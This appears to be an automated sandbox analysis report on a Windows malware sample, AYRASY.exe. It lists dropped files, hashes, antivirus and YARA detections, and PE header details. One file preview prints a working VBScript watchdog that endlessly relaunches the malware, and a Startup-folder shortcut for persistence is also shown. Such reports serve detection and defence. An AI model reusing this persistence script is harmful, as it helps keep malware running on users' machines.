SHA-256:	22753011287EB92A98B9577EC8431F1A366C05B2C29CF0D53F4F902B3412BC7D
SHA-512:	B577888B912638F424E47512AB0379F1D433FEF34A4353677BC8E28B718BEF1ED74D694105D66633224458EEF05776FCB81E087F4E00D40170E9D15FD173AD05
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FGToPRj3Y0oiH9NUxCUekA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\WBHUSK.vbs

Download File

Process:	C:\Users\user\Desktop\._cache_AYRASY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	840
Entropy (8bit):	5.3504875395593805
Encrypted:	false
SSDEEP:	24:dF/UF2IU/qaG2b6xI6C6x1xLxeQvJWAB/FVEMPENEZaVx5xCA:f/UF4t+G+7xLxe0WABNVIqZaVzgA
MD5:	08BAC9FF4730CA7A95DD923F66D2A6F7
SHA1:	A1284ADD696500CF838C32A1126C2A1010680575
SHA-256:	F8F5031C369B99DB281E4C7C74F2A925F227C2622F9E8E42B36E34D851B85119
SHA-512:	0FDFB396F73A4F4414CF9AD30D345C998409059DB67AE5E7BF3E4DA773FB04CF6FBB5062ACB6A0B0E5EB3DC38D4F83310B557A5A16360C1A11B49B6D02E32F2E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	On error resume next..Dim strComputer,strProcess,fileset..strProcess = "._cache_AYRASY.exe"..fileset = """C:\Users\user\Desktop\._cache_AYRASY.exe"""..strComputer = "." ..Dim objShell..Set objShell = CreateObject("WScript.Shell")..Dim fso..Set fso = CreateObject("Scripting.FileSystemObject")..while 1..IF isProcessRunning(strComputer,strProcess) THEN..ELSE..objShell.Run fileset..END IF..Wend..FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName)..DIM objWMIService, strWMIQuery..strWMIQuery = "Select * from Win32_Process where name like '" & strProcessName & "'"..SET objWMIService = GETOBJECT("winmgmts:" _..& "{impersonationLevel=impersonate}!\\" _ ..& strComputer & "\root\cimv2") ...IF objWMIService.ExecQuery(strWMIQuery).Count > 0 THEN..isProcessRunning = TRUE..ELSE..isProcessRunning = FALSE..END IF..END FUNCTION

C:\Users\user\AppData\Local\Temp\YuJh68K.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258752841764764
Encrypted:	false
SSDEEP:	24:GgsF+0ESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+z+pAZewRDK4mW
MD5:	AB7ABD57F2C01C7F4B01BB1834929052
SHA1:	C7AF9161953420741EC14235D5275B05BD26BBD6
SHA-256:	EEEAC6BE4412CA721344AC70EA1EF1B9F72D8B4A640EC357FAFEC0AF4CDE0E42
SHA-512:	841BBFAE02313366018437B1CF7970065BA298573399BE690245DB2E339E6D215ADA18036160DEBB9E75CA61DE495374D4F59BFA9FFCE9F58D85B6E42EBA32B0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="gII6-sEK2LFn3b-3z23ebQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\dYzsm52.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253175507634135
Encrypted:	false
SSDEEP:	24:GgsF+0QSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+T+pAZewRDK4mW
MD5:	928238AAA34C57ABE96E33E9F427B553
SHA1:	FE1565C845294F82F9D1623E89FFDEB3E84F5A03
SHA-256:	BA5F0D0F18CA5305243CCF743A45874E93F958EAB3804260957F5131402F8336
SHA-512:	937910A63B20DE3674613C718A9B8F9707E06613510E4BA369CE98B8EA1F90D375A3F477068B0C933D68A6FFF62FD05C8BC9840117FCC732005479CCB3BD12E5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cBe2HWypmVq75q_707cyhw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\eLc9RiO7.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\iPtivI3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2714140611415585
Encrypted:	false
SSDEEP:	24:GgsF+0XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+U+pAZewRDK4mW
MD5:	FB2114FB9513E0E944BABBDF56943D26
SHA1:	52F96C9C99A54386F3AD2CBFCC9297BC286C68A3
SHA-256:	44DC0984DB29C3B006C6200A4553D53270250206ACD62B7B36006CE2386B6291
SHA-512:	E935595B1689BBD5C645458A12F644F871DC8BEE31993F1B46D0766A3CBC6C2F391C9BE2DDFCDA52BD9D6782626294E087628A12E30B9A670B33BF6223D878D7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="VKa6mAGIf36bHXGr68c8Vw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\qfn7FBS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2561264973583
Encrypted:	false
SSDEEP:	24:GgsF+0hSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+y+pAZewRDK4mW
MD5:	A22FFC555F884935F4B4A5F23B6D364B
SHA1:	55549895413ECAACD98A9BAD5B86314C1CDC3C2C
SHA-256:	8F842C834D697DE860427B64760CC43E1D94D06FEE700E133A2BDC0E77D9EA63
SHA-512:	E82767D25F2F8903F9A9DBDDA5D45F859575A50D61085A9A92D8208417B28D9BAF197DC5A40E0363B00CB73D50A3C5C108954FD23C642C637817FC69937E5539
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="LRUZ0p0iT_9DdmBp7qnr4Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\~$eLc9RiO7.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.610853976637159
Encrypted:	false
SSDEEP:	3:iXFQLjLlAWFd:97
MD5:	CA2C2DB316A89F044206082EEB3A366E
SHA1:	B1B7DFF94B991B26093AA29BF3793DDE245412E1
SHA-256:	12393F1035745AD02C149920E37AFFE459CD0448A2AFEE25C1FABA8060758FF7
SHA-512:	66BC8C779431737A3FA00AF7697C299BC473B6FD22D48914986821DA7C0AB90554D32F7F2B471EAB5410F9C0DE7E076F4D6DEDDCCE1948818F7781DAE9EDEBE7
Malicious:	false
Preview:	.user ..e.n.g.i.n.e.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DFF3ADC856E5C0AEBE.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WBHUSK.lnk

Download File

Process:	C:\Users\user\Desktop\._cache_AYRASY.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=4, Archive, ctime=Mon Dec 30 09:24:06 2024, mtime=Mon Dec 30 09:24:07 2024, atime=Mon Dec 30 09:24:07 2024, length=978432, window=hide
Category:	dropped
Size (bytes):	1814
Entropy (8bit):	3.4005422202098496
Encrypted:	false
SSDEEP:	24:8UwADdilXUJeabVZjQAJeTEGE2+s9T4IlILZm:8nADdilmv3jnJkjr9MIl2
MD5:	DA8963990861F942B67E5EF4A6AAF753
SHA1:	CA92F3FACC7403E687EF35543A9B1AB55B6C7791
SHA-256:	FDADEB31300C334235210A0FAB0762C87CE92EB430B9CEE114F933D209C747B4
SHA-512:	C90B8D5819B9DBCB229A864F07C64FC98D38F8EE23CE146BF23198DC19FEABF0CB8BD05CE927D85C74D39FDC6F98CA2DBA70A2A43D42E43AEDDD33AAA33B6A2C
Malicious:	false
Preview:	L..................F.@.. ...n/...Z......Z......Z............................:..DG..Yr?.D..U..k0.&...&.......$..S.....~.Z..=8...Z......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.S...........................^.A.p.p.D.a.t.a...B.V.1......Y.R..Roaming.@......EW<2.Y.R..../......................9.R.o.a.m.i.n.g.....V.1......Y.S..Windata.@......Y.S.Y.S.............................W.i.n.d.a.t.a.....`.2......Y.S .YOABSG.exe..F......Y.S.Y.S.......................... '..Y.O.A.B.S.G...e.x.e.......c...............-.......b...........p.Y=.....C:\Users\user\AppData\Roaming\Windata\YOABSG.exe..!.....\.....\.....\.....\.....\.W.i.n.d.a.t.a.\.Y.O.A.B.S.G...e.x.e.,.".C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.W.i.n.d.a.t.a.\."...C.:.\.W.i.n.d.o.w.s.\.S.y.s.W.O.W.6.4.\.s.h.e.l.l.3.2...d.l.l.........%SystemRoot%\SysWOW64\shell32.dll......................................................................................................

C:\Users\user\AppData\Roaming\Windata\YOABSG.exe

Download File

Process:	C:\Users\user\Desktop\._cache_AYRASY.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	978432
Entropy (8bit):	7.878129877710586
Encrypted:	false
SSDEEP:	24576:ChloDX0XOf4btEYBiYZh/gRrrAFmqrMHisAMED:ChloJfEEaiSgCkqoHis
MD5:	8E44132C27ADC94100C8D8BE5D4AD041
SHA1:	8F6D3501AEE4CA56051FBCD4D4258DCAB9BF8AA1
SHA-256:	7E9FF2F8DB8A740FB31A969B90AA86A4D11BBD919233AC2A9D676FC82B426B94
SHA-512:	A06DD554B16630570C4F25D2C540E297233A201C9233977A5B06664B7659AA8CBAEAD38FAB88841C8ADCAA5F09F7E23297E92B7D9529CA0D3B2DA5E860C4584B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.............g.........$.............%....H......X.2........q)..Z..q).....q).......\....q).....Rich...........................PE..L...p!mg.........."......P........... .......0....@........................... ...........@...@.......@.....................T. .$....0..T...................x. ......................................"..H...........................................UPX0....................................UPX1.....P.......D..................@....rsrc........0.......H..............@..............................................................................................................................................................................................................................................................................................................................................................3.07.UPX!....

C:\Users\user\Desktop\._cache_AYRASY.exe

Download File

Process:	C:\Users\user\Desktop\AYRASY.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	978432
Entropy (8bit):	7.878129877710586
Encrypted:	false
SSDEEP:	24576:ChloDX0XOf4btEYBiYZh/gRrrAFmqrMHisAMED:ChloJfEEaiSgCkqoHis
MD5:	8E44132C27ADC94100C8D8BE5D4AD041
SHA1:	8F6D3501AEE4CA56051FBCD4D4258DCAB9BF8AA1
SHA-256:	7E9FF2F8DB8A740FB31A969B90AA86A4D11BBD919233AC2A9D676FC82B426B94
SHA-512:	A06DD554B16630570C4F25D2C540E297233A201C9233977A5B06664B7659AA8CBAEAD38FAB88841C8ADCAA5F09F7E23297E92B7D9529CA0D3B2DA5E860C4584B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.............g.........$.............%....H......X.2........q)..Z..q).....q).......\....q).....Rich...........................PE..L...p!mg.........."......P........... .......0....@........................... ...........@...@.......@.....................T. .$....0..T...................x. ......................................"..H...........................................UPX0....................................UPX1.....P.......D..................@....rsrc........0.......H..............@..............................................................................................................................................................................................................................................................................................................................................................3.07.UPX!....

C:\Users\user\Documents\GAOBCVIQIJ\PWCCAWLGRE.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\GAOBCVIQIJ\~$PWCCAWLGRE.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.610853976637159
Encrypted:	false
SSDEEP:	3:iXFQLjLlAWFd:97
MD5:	CA2C2DB316A89F044206082EEB3A366E
SHA1:	B1B7DFF94B991B26093AA29BF3793DDE245412E1
SHA-256:	12393F1035745AD02C149920E37AFFE459CD0448A2AFEE25C1FABA8060758FF7
SHA-512:	66BC8C779431737A3FA00AF7697C299BC473B6FD22D48914986821DA7C0AB90554D32F7F2B471EAB5410F9C0DE7E076F4D6DEDDCCE1948818F7781DAE9EDEBE7
Malicious:	false
Preview:	.user ..e.n.g.i.n.e.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\GAOBCVIQIJ\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.639994041359131
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Igr:ansJ39LyjbJkQFMhmC+6GD9j
MD5:	27C056CC4DAFB6B3161272E800C85E55
SHA1:	3CF48608E3C73115E37316A49F47D3586C5C94E1
SHA-256:	8445CFA3304BBC48A8616AABA0881A2433E52B839DD5E6234DF8776AE7873C26
SHA-512:	0D0A77C959BA38555E49C1ECDB5530A8D0D2C0D4BCF4B7BF91A82854D82ED139F0737C9024979F148B67AA2287B087F585B0F9B69F931733B4BDE32D491FECB7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.46869223690105
Encrypted:	false
SSDEEP:	6144:RzZfpi6ceLPx9skLmb0fyZWSP3aJG8nAgeiJRMMhA2zX4WABluuNZjDH5S:JZHtyZWOKnMM6bFpLj4
MD5:	277437B46D696BA79E86946A70540328
SHA1:	9BED295C9068323FC091518C89F5FEDD6B66958B
SHA-256:	38070B616DB7B52D4925242EE4AC818DF45EA8CDFFD55B2948950E806A8754F6
SHA-512:	E67F97DC1F5456F50A3C83BFBF295B9801BF2FEFD2B55E2249B0910DE6A3BFDDDD931B57867CB84961296BFDD10AD893740057D7CE5E04C64E40DE546EE407B0
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.....Z.................................................................................................................................................................................................................................................................................................................................................5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.48957166237222
TrID:	Win32 Executable (generic) a (10002005/4) 93.09% Win32 Executable Borland Delphi 7 (665061/41) 6.19% UPX compressed Win32 Executable (30571/9) 0.28% Win32 EXE Yoda's Crypter (26571/9) 0.25% Win32 Executable Delphi generic (14689/80) 0.14%
File name:	AYRASY.exe
File size:	1'750'016 bytes
MD5:	07e25c260c13b82cd867daef02255c82
SHA1:	ebc6562d3eb2a877d8cfeafcada1e1af1a66e208
SHA256:	72d043dcd766da3f32477c3c1612165b2124f347013bbb69ba3da85eaf9e3d40
SHA512:	dcf874250b8b302fff6ba5466b240660d06613838bc24ff76ab8f060ad8fb6ddbdfd58548034d08ab43906dd4b0f91a3ad2f31fe298dc20005f8a0a48873afd9
SSDEEP:	49152:jnsHyjtk2MYC5GDIhloJfEEaiSgCkqoHisJ:jnsmtk2athlVER3CkqoHxJ
TLSH:	E485D032F6D1A477D1321A3D9C5BA3A8482DBF512D34794E3BF82E5C9F7A28129142D3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	170105b232472f1f

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007F2828A708BDh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F2828AC4205h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007F2828AC3E04h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007F2828AC41F4h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F2828AC4268h
call 00007F2828A6E39Bh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x100b30	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
